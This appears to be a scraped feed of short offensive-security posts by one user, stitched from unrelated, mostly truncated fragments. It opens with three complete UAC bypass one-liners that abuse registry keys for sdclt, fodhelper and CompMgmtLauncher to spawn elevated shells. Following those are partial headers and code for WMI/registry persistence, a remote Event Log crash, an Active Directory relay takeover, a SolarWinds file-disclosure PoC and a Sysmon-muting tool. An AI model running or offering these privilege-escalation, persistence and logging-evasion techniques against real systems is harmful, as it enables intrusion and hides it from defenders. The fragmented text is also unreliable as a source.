superuser5

**UAC bypass for Win10:**
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /d "cmd.exe" /f && START /W sdclt.exe && reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /f

**UAC bypass for Win10:**
reg add HKCU\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f && reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "cmd /c start powershell.exe" /f && START /W fodhelper.exe && reg delete HKCU\Software\Classes\ms-settings /f

**UAC bypass for 7/8/10:**
reg add HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command /d "cmd.exe" /f && START /W CompMgmtLauncher.exe && reg delete HKEY_CURRENT_USER\Software\Classes\mscfile /f

superuser5

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;;; Copyright (C), zznop, brandonkmiller@protonmail.com
;;;
;;; This software may be modified and distributed under the terms
;;; of the MIT license.  See the LICENSE file for details.
;;;
;;; DESCRIPTION
;;;
;;; This PoC shellcode is meant to be compiled as a blob and prepended to a ELF

superuser5

# Crash the Windows Event Log Service remotely, needs Admin privs
# originally discovered by limbenjamin and accidently re-discovered by @byt3bl33d3r
#
# Once the service crashes 3 times it will not restart for 24 hours
#
# https://github.com/limbenjamin/LogServiceCrash
# https://limbenjamin.com/articles/crash-windows-event-logging-service.html
#
# Needs the impacket library (https://github.com/SecureAuthCorp/impacket)

superuser5

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

• Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
• Relaying that machine authentication to LDAPS for configuring RBCD
• RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

superuser5

'
' SYNOPSIS:
'   This macro implements two windows persistence methods:
'   - WMI Event Filter object creation 
'   - simple HKCU Registry Run value insertion. It has to be HKCU to make it work under Win10 x64
'
'   WMI Persistence method as originally presented by SEADADDY malware
'       (https://github.com/pan-unit42/iocs/blob/master/seaduke/decompiled.py#L887)
'   and further documented by Matt Graeber.
'

superuser5

# Step #1 - Prep payload
$Hive = 'HKLM'
$PayloadKey = 'SOFTWARE\PayloadKey'
$PayloadValue = 'PayloadValue'
$TimerName = 'PayloadTrigger'
$EventFilterName = 'TimerTrigger'
$EventConsumerName = 'ExecuteEvilPowerShell'

switch ($Hive) {
    'HKLM' { $HiveVal = [UInt32] 2147483650 }

superuser5

[{"op":"Conditional Jump","args":["bxor",false,"Decode_Shellcode",10]},{"op":"Label","args":["Decode_beacon"]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]},{"op":"Decode text","args":["UTF-16LE (1200)"]},{"op":"Regular expression","args":["User defined","[a-zA-Z0-9+/=]{30,}",true,true,false,false,false,false,"List matches"]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]},{"op":"Gunzip","args":[]},{"op":"Label","args":["Decode_Shellcode"]},{"op":"Regular expression","args":["User defined","[a-zA-Z0-9+/=]{30,}",true,true,false,false,false,false,"List matches"]},{"op":"Conditional Jump","args":["",false,"",10]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]},{"op":"XOR","args":[{"option":"Decimal","string":"35"},"Standard",false]}]

superuser5

#include <Windows.h>
#include <ImageHlp.h>
#include <strsafe.h>
#include "loaded_psp_drivers.h"

#include <set>
#include <string>
#include <algorithm>

#pragma comment(lib, "crypt32.lib")

superuser5

# CVE-2020-????  (local file disclosure PoC for SolarWinds Orion aka door to SuperNova ? )
# @0xSha 
# (C) 2020 0xSha.io 

# Advisory : https://www.solarwinds.com/securityadvisory
# Mitigation : https://downloads.solarwinds.com/solarwinds/Support/SupernovaMitigation.zip
# Details : https://kb.cert.org/vuls/id/843464

# C:\inetpub\SolarWinds\bin\OrionWeb.DLL
# According to SolarWinds.Orion.Web.HttpModules

superuser5

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;

namespace MuteSysmon
{
    class Program